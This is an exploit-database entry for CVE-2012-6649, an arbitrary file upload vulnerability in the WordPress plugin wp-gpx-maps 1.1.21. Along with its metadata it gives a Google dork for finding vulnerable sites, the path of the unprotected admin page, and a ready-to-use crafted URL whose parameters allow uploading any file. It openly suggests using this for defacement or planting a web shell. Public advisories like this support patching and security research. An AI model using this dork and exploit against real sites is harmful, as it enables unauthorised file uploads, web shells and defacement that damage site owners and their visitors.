WordPress Plugin wp-gpx-map 1.1.21 - Arbitrary File Upload

Author: Adrien Thierry
type: webapps
platform: php
port: 
date_added: 2012-06-11  
date_updated: 2012-06-11  
verified: 1  
codes: OSVDB-82900;CVE-2012-6649  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comwp-gpx-maps.1.1.21.zip  

raw file: 19050.txt  

###########################################################
#
# Exploit Title: Wordpress wp-gpx-map version 1.1.21 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/wp-gpx-maps/
# Date: 11/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://www.darwinner.it/
# Software Link: http://downloads.wordpress.org/plugin/wp-gpx-maps.1.1.21.zip
# Version: 1.1.21
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php

exploit :

Go to url :

http://my-site.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=//

And you can upload what you want. You could change file path with target_path (deface, shell etc...)

#####################################################################